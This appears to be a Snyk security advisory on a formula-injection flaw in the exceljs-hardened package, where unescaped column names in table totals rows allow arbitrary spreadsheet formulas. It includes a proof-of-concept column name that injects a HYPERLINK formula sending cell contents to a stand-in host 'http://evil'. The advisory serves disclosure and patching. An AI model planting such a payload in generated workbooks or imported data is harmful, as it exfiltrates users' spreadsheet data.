Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade exceljs-hardened to version 5.1.0 or higher.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the totals row formula getter in lib/doc/table.js, which builds structured reference formulas of the form SUBTOTAL(109,<table>[<column>]) without escaping the characters [, ], #, and ' in column names. An attacker who controls column names - for example through imported CSV headers - can supply a name containing ] to break out of the structured reference and inject arbitrary spreadsheet formulas. Functions such as HYPERLINK can then exfiltrate cell values when a user opens the generated workbook and clicks the injected link.
const ws = wb.addWorksheet('S');
ws.addTable({
name: 'T',
ref: 'A1',
headerRow: true,
totalsRow: true,
columns: [
{ name: 'k' },
{ name: 'Amount])+HYPERLINK("http://evil/?"&A2,"x")+SUM(T[Amount', totalsRowFunction: 'sum' },
],
rows: [['a', 1], ['b', 2]],
});
The totals cell contains:
SUBTOTAL(109,T[Amount])+HYPERLINK("http://evil/?"&A2,"x")+SUM(T[Amount])
A name such as It's [x] #1 also produces an invalid reference.